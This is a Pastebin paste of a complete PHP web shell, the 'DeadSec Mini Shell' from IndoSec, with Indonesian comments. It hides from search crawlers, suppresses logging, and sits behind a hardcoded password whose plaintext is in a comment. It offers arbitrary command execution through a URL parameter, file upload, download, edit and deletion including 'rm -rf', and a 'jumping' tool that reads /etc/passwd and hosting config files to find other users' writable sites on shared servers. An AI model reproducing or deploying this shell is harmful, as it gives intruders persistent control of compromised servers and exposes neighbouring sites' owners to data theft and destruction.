Advertisement
Guest User

Shell.php

a guest
Apr 8th, 2019
2,361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.54 KB | None | 0 0
  1. <?php
  2. /*
  3. Konsep Shell : Brillyan -Founder { IndoSec }-
  4. Pembuat : Holiq -Member { IndoSec }-
  5. Re-Code Boleh Asal Dah Izin Sama Pembuata, Ganti Author & Re-Code Tanpa Seizin Pembuata... Fix Lo Noob Anjenk, Klo Kga Bisa Bikin Cek Chanel IndoSec, Ada Tutornya, Jangan Cuma Bisa Ganti Author Doank Bangsad
  6.  
  7. Thanks For All Member { IndoSec }, Yang Telah Membantu Proses Pembuatan Shell, Dan Dari Shell Lain Untuk Inspirasinya
  8.  
  9. { IndoSec sHell } v1
  10. Untuk Tools Yang Lain Akan Ditambahkan DiVersi Berikutnya
  11. ©2019 { IndoSec } -Holiq-
  12. */
  13. session_start();
  14. error_reporting(0);
  15. set_time_limit(0);
  16. @clearstatcache();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @ini_set('output_buffering',0);
  21. @ini_set('display_errors', 0);
  22.  
  23. $auth_pass = "0cbbc6bc00f3fd9719a6f6800fc74a2e"; // Password : DeadSec
  24. $color = "#00ff00";
  25. $default_action = 'FilesMan';
  26. $default_use_ajax = true;
  27. $default_charset = 'UTF-8';
  28. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  29.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  30.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  31.         header('HTTP/1.0 404 Not Found');
  32.         exit;
  33.     }
  34. }
  35.  
  36. function login_shell() {
  37. ?>
  38. <!DOCTYPE html>
  39. <html>
  40.     <head>
  41.     <title>DeadSec Mini Shell</title>
  42.         <meta name='description' content='Mini Shell Created By DeadSec' />
  43.         <meta name='keywords' content='Mini Shell Created By DeadSec' />
  44.         <meta name='author' content='DeadSec' />
  45.         <meta name='rating' content='general' />
  46.         <meta name='geo.country' content='id' />
  47.         <meta name='geo.placename' content='Indonesia' />
  48.         <meta name='robots' content='all'/>
  49.         <meta name='robots' content='index, follow' />
  50.         <meta name='robots schedule' content='auto'/>
  51.     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">
  52.     <link href="https://fonts.googleapis.com/css?family=Germania+One|PT+Serif|Ubuntu+Mono" rel="stylesheet">
  53.     <style type="text/css">
  54.     body {
  55.         background: Black;
  56.         font-family: 'Ubuntu Mono', monospace;
  57.         }
  58.     .log {
  59.         color: white;
  60.         size: 30;
  61.         font-family: 'Germania One', cursive;
  62.         }
  63.     </style>
  64.         </head>
  65.     <body class="bg-dark text-light">
  66.     <center><h1 class="log"> DeadSec Mini Shell </h1></center>
  67.     <div class="container">
  68.     <div class="col-lg-6">
  69.     <div class="form-group">
  70.     <h5><i class="fa fa-sign-in-alt">
  71.     </i>g</h5>
  72.     <br/>
  73.     <form method="post">
  74.     <input type="password" name="pass" placeholder="Password" class="form-control"><br/>
  75.     <input type="submit" class="btn btn-info btn-block" class="form-control" value="Login">
  76.     </form>
  77.     </div>
  78.     </div><br/><center>
  79.     <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRqh6adrrv6IWOtCVsi0GfVJT2XHDY8oyhtHWU6et6oZ-1iFlQf">
  80.     <p style="opacity: 0.3;"><a href="#" style="color: white;">©2k19 DeadSec</a></p></center><br/>
  81.     </div>
  82.     </center>
  83.     </body>
  84.     </html>
  85. <?php
  86. exit;
  87. }
  88. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  89.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  90.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  91.     else
  92.         login_shell();
  93. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  94.     @ob_clean();
  95.     $file = $_GET['file'];
  96.     header('Content-Description: File Transfer');
  97.     header('Content-Type: application/octet-stream');
  98.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  99.     header('Expires: 0');
  100.     header('Cache-Control: must-revalidate');
  101.     header('Pragma: public');
  102.     header('Content-Length: ' . filesize($file));
  103.     readfile($file);
  104.     exit;
  105. }
  106. ?>
  107. <?php
  108.     function w($dir,$perm) {
  109.         if(!is_writable($dir)) {
  110.             return "<font color=red>".$perm."</font>";
  111.         } else {
  112.             return "<font color=lime>".$perm."</font>";
  113.         }
  114.     }
  115.     function r($dir,$perm) {
  116.         if(!is_readable($dir)) {
  117.             return "<font color=red>".$perm."</font>";
  118.         } else {
  119.             return "<font color=lime>".$perm."</font>";
  120.         }
  121.     }
  122.  
  123.     function exe($cmd) {
  124.         if(function_exists('system')) {
  125.             @ob_start();
  126.             @system($cmd);
  127.             $buff = @ob_get_contents();
  128.             @ob_end_clean();
  129.             return $buff;
  130.         } elseif(function_exists('exec')) {
  131.             @exec($cmd,$results);
  132.             $buff = "";
  133.             foreach($results as $result) {
  134.                 $buff .= $result;
  135.             } return $buff;
  136.         } elseif(function_exists('passthru')) {
  137.             @ob_start();
  138.             @passthru($cmd);
  139.             $buff = @ob_get_contents();
  140.             @ob_end_clean();
  141.             return $buff;
  142.         } elseif(function_exists('shell_exec')) {
  143.             $buff = @shell_exec($cmd);
  144.             return $buff;
  145.         }
  146.     }
  147.    
  148.     function perms($file){
  149.         $perms = fileperms($file);
  150.    
  151.         if (($perms & 0xC000) == 0xC000) {
  152.             // Socket
  153.             $info = 's';
  154.         } elseif (($perms & 0xA000) == 0xA000) {
  155.             // Symbolic Link
  156.             $info = 'l';
  157.         } elseif (($perms & 0x8000) == 0x8000) {
  158.             // Regular
  159.             $info = '-';
  160.         } elseif (($perms & 0x6000) == 0x6000) {
  161.             // Block special
  162.             $info = 'b';
  163.         } elseif (($perms & 0x4000) == 0x4000) {
  164.             // Directory
  165.             $info = 'd';
  166.         } elseif (($perms & 0x2000) == 0x2000) {
  167.             // Character special
  168.             $info = 'c';
  169.         } elseif (($perms & 0x1000) == 0x1000) {
  170.             // FIFO pipe
  171.             $info = 'p';
  172.         } else {
  173.             // Unknown
  174.             $info = 'u';
  175.         }
  176.    
  177.         // Owner
  178.         $info .= (($perms & 0x0100) ? 'r' : '-');
  179.         $info .= (($perms & 0x0080) ? 'w' : '-');
  180.         $info .= (($perms & 0x0040) ?
  181.         (($perms & 0x0800) ? 's' : 'x' ) :
  182.         (($perms & 0x0800) ? 'S' : '-'));
  183.         // Group
  184.         $info .= (($perms & 0x0020) ? 'r' : '-');
  185.         $info .= (($perms & 0x0010) ? 'w' : '-');
  186.         $info .= (($perms & 0x0008) ?
  187.         (($perms & 0x0400) ? 's' : 'x' ) :
  188.         (($perms & 0x0400) ? 'S' : '-'));
  189.        
  190.         // World
  191.         $info .= (($perms & 0x0004) ? 'r' : '-');
  192.         $info .= (($perms & 0x0002) ? 'w' : '-');
  193.         $info .= (($perms & 0x0001) ?
  194.         (($perms & 0x0200) ? 't' : 'x' ) :
  195.         (($perms & 0x0200) ? 'T' : '-'));
  196.  
  197.         return $info;
  198.     }
  199.    
  200.    
  201.     if(isset($_GET['path'])){
  202.         $path = $_GET['path'];
  203.         chdir($path);
  204.     }else{
  205.         $path = getcwd();
  206.     }
  207.     $path = str_replace('\\','/',$path);
  208.     $paths = explode('/',$path);
  209.     if(isset($_GET['dir'])) {
  210.         $dir = $_GET['dir'];
  211.         chdir($dir);
  212.     } else {
  213.         $dir = getcwd();
  214.     }
  215.     $os = php_uname();
  216.     $ip = gethostbyname($_SERVER['HTTP_HOST']);
  217.     $ver = phpversion();
  218.     $dom = $_SERVER['HTTP_HOST'];
  219.     $dir = str_replace("\\","/",$dir);
  220.     $scdir = explode("/", $dir);
  221.     $mysql = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
  222.     $curl = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>";
  223.     $kernel = php_uname();
  224.     $ip = gethostbyname($_SERVER['HTTP_HOST']);
  225.     $dir = str_replace("\\","/",$dir);
  226.     $scdir = explode("/", $dir);
  227.     $freespace = hdd(disk_free_space("/"));
  228.     $total = hdd(disk_total_space("/"));
  229.     $used = $total - $freespace;
  230.     $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  231.     $ds = @ini_get("disable_functions");
  232.     $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  233.     $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  234.     $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  235.     $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  236.     $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  237.     $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  238.     if(!function_exists('posix_getegid')) {
  239.     $user = @get_current_user();
  240.     $uid = @getmyuid();
  241.     $gid = @getmygid();
  242.     $group = "?";
  243.     } else {
  244.     $uid = @posix_getpwuid(posix_geteuid());
  245.     $gid = @posix_getgrgid(posix_getegid());
  246.     $user = $uid['name'];
  247.     $uid = $uid['uid'];
  248.     $group = $gid['name'];
  249.     $gid = $gid['gid'];
  250.     }
  251. echo "
  252. <html>
  253.     <head>
  254.     <title>DeadSec Mini Shell</title>
  255.     <link href='https://fonts.googleapis.com/css?family=Germania+One|PT+Serif|Ubuntu+Mono' rel='stylesheet'>
  256.         <link rel='stylesheet' href='https://use.fontawesome.com/releases/v5.7.1/css/all.css' integrity='sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr' crossorigin='anonymous'>
  257.         <link rel='stylesheet' href='https://code.jquery.com/jquery-3.3.1.js'>
  258.     <style type='text/css'>
  259.     body {
  260.     background: Black;
  261.     font-family: 'Ubuntu Mono', monospace;
  262.     }
  263.     .log {
  264.     color: white;
  265.     font-size: 50px;
  266.     font-family: 'Germania One', cursive;
  267.     text-align: center;
  268.     }
  269.     </style>
  270.     </head>
  271.     <body>
  272.         <div class='container'>
  273.             <div class='log'>DeadSec Mini Shell</div>
  274.             <hr style='backgroud: white'/>
  275.             <table class='table' style='color: #333'>
  276.             <tr>";
  277.             echo "System: <font color=lime>".$kernel."</font><br>";
  278.             echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
  279.             echo "Server IP: <font color=lime>".$ip."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
  280.             echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>";
  281.             echo "Safe Mode: $sm<br>";
  282.             echo "Disable Functions: $show_ds<br>";
  283.             echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
  284.             echo "Current DIR: ";
  285.             foreach($scdir as $c_dir => $cdir) {   
  286.             echo "<a href='?dir=";
  287.             for($i = 0; $i <= $c_dir; $i++) {
  288.             echo $scdir[$i];
  289.             if($i != $c_dir) {
  290.             echo "/";
  291.             }
  292.             }
  293.             echo "'>$cdir</a>/";
  294.             }
  295.             ?>
  296.    
  297.     </div></center>
  298.  
  299.     </body>
  300. </html>
  301. <div class='col-lg-8'>
  302.     <?php
  303.     if(isset($_GET['cmd'])){
  304.         echo "<div class='card'><div class='container'><font color='black'>";
  305.         echo "<pre>";
  306.         echo system($_GET['cmd']);
  307.         echo "</pre>";
  308.         echo "</font></div></div>";
  309.     }
  310.    
  311.    
  312.     if (isset($_GET['keluar'])) {
  313.         session_start(); session_destroy();
  314.         header('location: ?');
  315.     }
  316.    
  317.         if(isset($_GET['path'])){
  318.             $path = $_GET['path'];
  319.             chdir($path);
  320.         }else{
  321.             $path = getcwd();
  322.         }
  323.         $path = str_replace('\\','/',$path);
  324.         $paths = explode('/',$path);
  325.            
  326.         foreach($paths as $id=>$pat){
  327.             if($pat == '' && $id == 0){
  328.                 $a = true;
  329.                 echo '<a href="?dir=/">/</a>';
  330.                 continue;
  331.             }
  332.             if($pat == '') continue;
  333.             echo '<a href="?dir=';
  334.             for($i=0;$i<=$id;$i++){
  335.                 echo "$paths[$i]";
  336.                 if($i != $id) echo "/";
  337.             }
  338.             echo '">'.$pat.'</a>/';
  339.         }
  340.         $scandir = scandir($path);
  341.         echo "&nbsp;&nbsp;[ ".w($dir, perms($dir))." ]";
  342.         echo '<center><div id="tab"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  343.             <thead class="bg-info">
  344.                 <th>File/Folder</th>
  345.                 <th>Size</th>
  346.                 <th>Perizinan</th>
  347.                 <th>Action</th>
  348.             </thead>';
  349.            
  350.         foreach($scandir as $dir){
  351.             if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  352.             echo '<tr>
  353.                 <td><i class="fa fa-folder"></i> <a href="?dir='.$path.'/'.$dir.'">'.$dir.'</a></td>
  354.                 <td><center>--</center></td>
  355.                 <td><center>';
  356.                 if(is_writable($path.'/'.$dir)) echo '<font color="#00ff00">';
  357.                 elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  358.                 echo perms($path.'/'.$dir);
  359.                 if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font></center></td>
  360.                 <td><center><a href="?hapus_folder='.$path.'/'.$dir.'">Hapus</a>  <a href="?rename='.$path.'/'.$dir.'">Rename</a></center></td>
  361.             ';
  362.                
  363.             echo '</tr>';
  364.         }
  365.  
  366.         echo '<tr><td></td></tr>';
  367.  
  368.         foreach($scandir as $file){
  369.             if(!is_file($path.'/'.$file)) continue;
  370.             $size = filesize($path.'/'.$file)/1024;
  371.             $size = round($size,3);
  372.             if($size >= 1024){
  373.                 $size = round($size/1024,2).' MB';
  374.             }else{
  375.                 $size = $size.' KB';
  376.             }
  377.  
  378.             echo '<tr>
  379.                 <td><i class="fa fa-file"></i> <font color="#007CFF">'.$file.'</td>
  380.                 <td><center>'.$size.'</center></td>
  381.                 <td><center>';
  382.                 if(is_writable($path.'/'.$file)) echo '<font color="#00ff00">';
  383.                 elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  384.                 echo perms($path.'/'.$file);
  385.                 if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>
  386.                 <td><center><a href="?aksi=view&dirf='.$path.'/'.$file.'">lihat</a>  <a href="?aksi=edit&dirf='.$path.'/'.$file.'">edit</a>  <a href="?aksi=hapusf&dirf='.$path.'/'.$file.'">Hapus</a></td>';
  387.                 echo '</center></td>
  388.             </tr>';
  389.         }
  390.     echo '</table></center><hr/><p align="center" style="opacity: 0.3;"><a href="https://facebook.com/IndoSecOfficial" style="color: white;">Copyright 2019 { IndoSec }</a></p><br/>';
  391.    
  392.     //upload
  393.     if ($_GET['aksi'] == 'upload') {
  394.         echo "<hr/><div class='card'><br /><form method='POST' enctype='multipart/form-data' name='uploader' id='uploader'>
  395.             <font color='black'><input class='btn btn-danger btn-sm' type='file' name='file' size='50'>  <input class='btn btn-info' type='submit' value='Upload'></font></div><hr/>";
  396.        
  397.         if(isset($_FILES['file'])){
  398.             if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  399.                 echo '<script>window.location="?dir='.$path.'"; alert("Upload Berhasil");</script>';
  400.             }else{
  401.                 echo 'Gagal Upload!!!</b><br><br>';
  402.             }
  403.         }
  404.     }
  405. echo "</di>";
  406.    
  407.    
  408. //File.....
  409.    
  410.     //openfile
  411.     if (isset($_GET['dirf'])) {
  412.         $file = $_GET['dirf'];
  413.     }
  414.        
  415.     //buat_file
  416.     if ($_GET['aksi'] == 'buat_file') {
  417.        
  418.         $output = "
  419.         <h4><i class='fa fa-file'></i> Buat File: </h4>
  420.         <form method='POST'>
  421.             <input type='text' class='form-control' name='nama_file' placeholder='Nama File...'><br />
  422.             <textarea name='isi_file' class='form-control' placeholder='Isi File...'></textarea><br />
  423.             <button type='sumbit' class='btn btn-info btn-block' name='bikin'>Bikin!!</button>
  424.         </form>
  425.         ";
  426.         echo $output;
  427.     }
  428.    
  429.     if (isset($_POST['bikin'])) {
  430.         $nama_file = $_POST['nama_file'];
  431.         $isi_file = $_POST['isi_file'];
  432.         $handle = fopen("$nama_file", "w");
  433.         if (fwrite($handle, $isi_file)) {
  434.             echo '<script>window.location="?dir='.$path.'"; alert("Buat File Berhasil");</script>';
  435.         }else{
  436.             echo 'File Gagal Dibuat';
  437.         }
  438.     }
  439.    
  440.     //view
  441.     if($_GET['aksi'] == 'view') {
  442.         echo '[ <a href="?aksi=view&dirf='.$file.'">lihat</a> ]  [ <a href="?aksi=edit&dirf='.$file.'">Edit</a> ]  [ <a href="?aksi=hapusf&dirf='.$path.'/'.$file.'">Hapus</a> ]';
  443.         echo "
  444.         <textarea rows='10' class='form-control' disabled=''>".htmlspecialchars(file_get_contents($file))."</textarea>
  445.         <br /><br />";
  446.     }
  447.    
  448.    
  449.    
  450.     //edit
  451.     if($_GET['aksi'] == 'edit') {
  452.         echo '[ <a href="?aksi=view&dirf='.$file.'">lihat</a> ]  [ <a href="?aksi=edit&dirf='.$file.'">Edit</a> ]  [ <a href="?aksi=hapusf&dirf='.$path.'/'.$file.'">Hapus</a> ]';
  453.         echo "<h5><i class='fa fa-file'></i> Rename File : </h5>
  454.         <form method='POST'>
  455.             <input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...'><br />
  456.             <h5><i class='fa fa-file'></i> Edit File...</h5>
  457.             <textarea rows='10' class='form-control' name='isi'>".htmlspecialchars(file_get_contents($file))."</textarea>
  458.                 <button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button>
  459.         </form><br/>";
  460.     }
  461.    
  462.     if(isset($_POST['edit_file'])) {
  463.         $updt = fopen("$file", "w");
  464.         $hasil = fwrite($updt, $_POST['isi']);
  465.        
  466.         if ($hasil) {
  467.             echo 'Berhasil Update!!';
  468.         }else{
  469.             echo 'Gagal Update!!';
  470.         }
  471.         echo "<br/><br/>";
  472.    
  473.         $lama = $file;
  474.         $baru = $_POST['namanew'];
  475.         rename( $baru, $lama);
  476.         if(file_exists($baru)) {
  477.             echo "Nama $baru Telah Digunakan";
  478.         }else{
  479.             if(rename( $lama, $baru)) {
  480.                 echo "Sukses Mengganti Nama Menjadi $baru";
  481.             }else{
  482.                 echo "Gagal Mengganti Nama";
  483.             }
  484.         }echo "<br/><br/>";
  485.     }
  486.    
  487.    
  488.    
  489.    
  490.     //hapus_file
  491.     if ($_GET['aksi'] == 'hapusf') {
  492.         echo '[ <a href="?aksi=view&dirf='.$file.'">lihat</a> ]  [ <a href="?aksi=edit&dirf='.$file.'">Edit</a> ]  [ <a href="?aksi=hapusf&dirf='.$path.'/'.$file.'">Hapus</a> ]';
  493.         $output ="
  494.         <div class='card container'>
  495.             <center><br/>
  496.                 <font color='black'>Yakin Menghapus : $file
  497.             </center><br/><br/>
  498.             <form method='POST'>
  499.                 <a class='btn btn-danger' href='?'>Tidak</a>
  500.                 <input type='submit' name='ya' class='float-right btn btn-success' value='  Ya  '>
  501.             </form><br/><br/>
  502.         ";
  503.         echo $output;
  504.        
  505.         if ($_POST['ya']) {
  506.             $hapus = unlink($file);
  507.             if ($hapus) {
  508.                 echo '<script>window.location="?dir='.$path.'"; alert("Berhasil Menghapus File");</script>';
  509.             }else{
  510.                 echo "Gagal Menghapus File!!<br/><br/></font>";
  511.             }
  512.         }
  513.         echo "</div><br/><br/>";
  514.     }
  515. /*
  516. ////////////////////////////////////////////////////////////////////////////////
  517. \\\\\\\\\\\\\\\\\\\\\\\\\\©2019 Holiq { IndoSec }\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  518. ////////////////////////////////////////////////////////////////////////////////
  519. */
  520.  
  521.     //folder
  522.    
  523.     //buat_folder
  524.     if ($_GET['aksi'] == 'buat_folder' ) {
  525.         $output = "
  526.         <h4><i class='fa fa-folder'></i> Buat Folder: </h4>
  527.         <form method='POST'>
  528.             <input type='text' class='form-control' name='nama_folder' placeholder='Nama Folder...'><br />
  529.             <button type='sumbit' class='btn btn-info btn-block' name='buat'>Buat!!</button><br/>
  530.         </form>
  531.         ";
  532.         echo $output;
  533.     }
  534.    
  535.     if (isset($_POST['buat'])) {
  536.         $nama_folder = $_POST['nama_folder'];
  537.         $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '',          $_POST["nama_folder"]);
  538.         $fd = mkdir ($folder);
  539.         if ($fd) {
  540.             echo '<script>window.location="?dir='.$path.'"; alert("Berhasil Membuat Folder");</script>';
  541.         }else{
  542.             echo "Folder ".$folder." Gagal Dibuat!!";
  543.         }
  544.     }
  545.    
  546.    
  547.    
  548.     //hapus_folder
  549.     if (isset($_GET['hapus_folder'])) {
  550.         $dir = $_GET['hapus_folder'];
  551.        
  552.         $output ="
  553.         [ <a href='?hapus_folder=".$path."/".$dir."'>Hapus</a> ]  [ <a href='?rename=".$path."/".$dir."'>Rename</a> ]
  554.         <div class='card container'>
  555.             <center><br/>
  556.                 <font color='black'>Apakah Yakin Menghapus : $dir
  557.             </center><br/><br/>
  558.             <form method='POST'>
  559.                 <a class='btn btn-danger' href='?'>Tidak</a>
  560.                 <input type='submit' name='ya' class='float-right btn btn-success' value='  Ya  '>
  561.             </form><br/><br/>
  562.         ";
  563.         echo $output;
  564.        
  565.         if ($_POST['ya']) {
  566.             if(is_dir($dir)) {
  567.                 if(is_writable($dir)) {
  568.                     @rmdir($dir);
  569.                     @exe("rm -rf $dir");
  570.                     @exe("rmdir /s /q $dir");
  571.                     echo "<script>window.location='?dir=".dirname($dir)."'; alert('Berhasil Menghapus Folder');</script>";
  572.                 } else {
  573.                     echo "<font color=red>could not remove ".basename($dir)."</font>";
  574.                 }
  575.             }
  576.         }
  577.     }
  578.    
  579.    
  580.     //rename
  581.     if (isset($_GET['rename'])) {
  582.         $dir = $_GET['rename'];
  583.         $output="
  584.         [ <a href='?hapus_folder=".$path."/".$dir."'>Hapus</a> ]  [ <a href='?rename=".$path."/".$dir."'>Rename</a> ]
  585.         <h4><i class='fa fa-folder'></i> Rename Folder :</h4>
  586.         <form method='POST'>
  587.             <input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...'><br />
  588.             <button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button>
  589.         ";
  590.         echo $output;
  591.     }
  592.    
  593.     if (isset($_POST['ganti'])) {
  594.         $lama = $dir;
  595.         $baru = $_POST['namanew'];
  596.         $ubah = rename($lama, $baru);
  597.         if($ubah) {
  598.             echo "<script>window.location='?dir=".dirname($dir)."'; alert('Berhasil Mengganti Nama');</script>";
  599.         }else{
  600.             echo "Gagal Mengganti Nama<br/><br/>" ;
  601.         }
  602.     }
  603.    
  604.    
  605. /*
  606. ////////////////////////////////////////////////////////////////////////////////
  607. \\\\\\\\\\\\\\\\\\\\\\\\\\©2019 Holiq { IndoSec }\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  608. ////////////////////////////////////////////////////////////////////////////////
  609. */
  610.  
  611. //Fungsi_Tambahan
  612. if($_GET['aksi'] == 'jumping') {
  613.     $i = 0;
  614.     echo "<div class='card container'>";
  615.     if(preg_match("/hsphere/", $dir)) {
  616.         $urls = explode("\r\n", $_POST['url']);
  617.         if(isset($_POST['jump'])) {
  618.             echo "<pre>";
  619.             foreach($urls as $url) {
  620.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  621.                 $etc = "/etc/passwd";
  622.                 $f = fopen($etc,"r");
  623.                 while($gets = fgets($f)) {
  624.                     $pecah = explode(":", $gets);
  625.                     $user = $pecah[0];
  626.                     $dir_user = "/hsphere/local/home/$user";
  627.                     if(is_dir($dir_user) === true) {
  628.                         $url_user = $dir_user."/".$url;
  629.                         if(is_readable($url_user)) {
  630.                             $i++;
  631.                             $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
  632.                             if(is_writable($url_user)) {
  633.                                 $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>";
  634.                             }
  635.                             echo $jrw."<br>";
  636.                         }
  637.                     }
  638.                 }
  639.             }
  640.         if($i == 0) {
  641.         } else {
  642.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  643.         }
  644.         echo "</pre>";
  645.         } else {
  646.             echo '<center>
  647.                   <form method="post">
  648.                   List Domains: <br>
  649.                   <textarea name="url" style="width: 500px; height: 250px;">';
  650.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  651.             while($getss = fgets($fp)) {
  652.                 echo $getss;
  653.             }
  654.             echo  '</textarea><br>
  655.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  656.                   </form></center>';
  657.         }
  658.     } elseif(preg_match("/vhosts/", $dir)) {
  659.         $urls = explode("\r\n", $_POST['url']);
  660.         if(isset($_POST['jump'])) {
  661.             echo "<pre>";
  662.             foreach($urls as $url) {
  663.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  664.                 if(is_dir($web_vh) === true) {
  665.                     if(is_readable($web_vh)) {
  666.                         $i++;
  667.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
  668.                         if(is_writable($web_vh)) {
  669.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>";
  670.                         }
  671.                         echo $jrw."<br>";
  672.                     }
  673.                 }
  674.             }
  675.         if($i == 0) {
  676.         } else {
  677.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  678.         }
  679.         echo "</pre>";
  680.         } else {
  681.             echo '<center>
  682.                   <form method="post">
  683.                   List Domains: <br>
  684.                   <textarea name="url" style="width: 500px; height: 250px;">';
  685.                   bing("ip:$ip");
  686.             echo  '</textarea><br>
  687.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  688.  
  689.                   </form></center>';
  690.         }
  691.     } else {
  692.         echo "<pre>";
  693.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  694.         while($passwd = fgets($etc)) {
  695.             if($passwd == '' || !$etc) {
  696.                 echo "<font color=red>Can't read /etc/passwd</font>";
  697.             } else {
  698.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  699.                 foreach($user_jumping[1] as $user_pro_jump) {
  700.                     $user_jumping_dir = "/home/$user_pro_jump/public_html";
  701.                     if(is_readable($user_jumping_dir)) {
  702.                         $i++;
  703.                         $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
  704.                         if(is_writable($user_jumping_dir)) {
  705.                             $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>";
  706.                         }
  707.                         echo $jrw;
  708.                         if(function_exists('posix_getpwuid')) {
  709.                             $domain_jump = file_get_contents("/etc/named.conf");
  710.                             if($domain_jump == '') {
  711.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  712.                             } else {
  713.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  714.                                 foreach($domains_jump[1] as $dj) {
  715.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  716.                                     $user_jumping_url = $user_jumping_url['name'];
  717.                                     if($user_jumping_url == $user_pro_jump) {
  718.                                         echo " => ( <u>$dj</u> )<br>";
  719.                                         break;
  720.                                     }
  721.                                 }
  722.                             }
  723.                         } else {
  724.                             echo "<br>";
  725.                         }
  726.                     }
  727.                 }
  728.             }
  729.         }
  730.         if($i == 0) {
  731.         } else {
  732.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  733.         }
  734.         echo "</pre>";
  735.     }
  736.     echo "</div>";
  737. }
  738.  
  739. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement